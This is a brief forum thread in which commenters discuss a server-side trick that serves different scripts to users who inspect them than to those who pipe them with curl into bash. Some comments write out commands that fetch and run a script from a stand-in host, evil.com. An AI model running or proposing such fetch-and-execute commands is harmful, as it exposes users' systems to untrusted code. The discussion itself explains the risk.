5 ms·
This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`
by ericpauley 8y ago
This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`
- nerdponx 8y agoIf you downloaded the script to inspect it, why would you not just run the script that you downloaded?
- jchw 8y agoWeb browser.
- chmod775 8y agocurl evil.com curl evil.com | bash
- nerdponx 8y agowget evil.com less evil.sh bash evil.sh
- deleted 8y ago[deleted]
- tutfbhuf 8y agoThat's the point. It's also possible that the remote script has been altered in the meantime. Therefore it's never advisable to download the script again after inspection.
- IshKebab 8y agoThere's more than one user. You don't want any of them to find the malicious code.